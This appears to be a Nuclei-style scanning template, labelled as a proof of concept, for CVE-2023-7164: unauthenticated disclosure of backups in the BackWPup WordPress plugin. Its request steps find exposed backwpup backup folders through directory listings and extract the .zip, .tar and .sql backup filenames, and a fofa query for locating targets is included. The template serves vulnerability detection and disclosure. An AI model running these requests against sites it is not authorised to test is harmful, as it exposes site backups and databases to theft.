BackWPup WordPress plugin < 4.0.4 contains a directory listing vulnerability caused by lack of access restrictions in its temporary backup folder, letting unauthenticated attackers download site backups, exploit requires no authentication.
PoC
id: CVE-2023-7164
info:
name: WordPress BackWPup < 4.0.4 - Backup File Disclosure
author: 0x_Akoko
severity: high
description: |
BackWPup WordPress plugin < 4.0.4 contains a directory listing vulnerability caused by lack of access restrictions in its temporary backup folder, letting unauthenticated attackers download site backups, exploit requires no authentication.
impact: |
Unauthenticated attackers can download site backups, potentially leading to data theft or further exploitation.
remediation: |
Update to version 4.0.4 or later.
reference:
- https://wpscan.com/vulnerability/79b07f37-2c6b-4846-bb28-91a1e5bf112e/
- https://research.cleantalk.org/cve-2023-7164/
- https://nvd.nist.gov/vuln/detail/CVE-2023-7164
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-7164
cwe-id: CWE-200
epss-score: 0.02261
epss-percentile: 0.82114
cpe: cpe:2.3:a:inpsyde:backwpup:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 8
fofa-query: body="/wp-content/plugins/backwpup/"
tags: cve,cve2023,wp,wordpress,wp-plugin,backwpup,exposure,disclosure,vuln
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/uploads/"
- "{{BaseURL}}/blog/wp-content/uploads/"
- "{{BaseURL}}/wordpress/wp-content/uploads/"
- "{{BaseURL}}/wp/wp-content/uploads/"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Index of")'
- 'regex("backwpup-[a-f0-9]{6}-(backups|temp)", body)'
internal: true
extractors:
- type: regex
name: backupfolder
part: body
regex:
- 'backwpup-[a-f0-9]{6}-(backups|temp)'
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-content/uploads/{{backupfolder}}/"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '[\w\-\.]+\.(tar\.gz|tar|zip|sql)'
- type: status
status:
- 200
extractors:
- type: regex
name: filename
part: body
regex:
- '[\w\-\.]+\.(tar\.gz|tar|zip|sql)'
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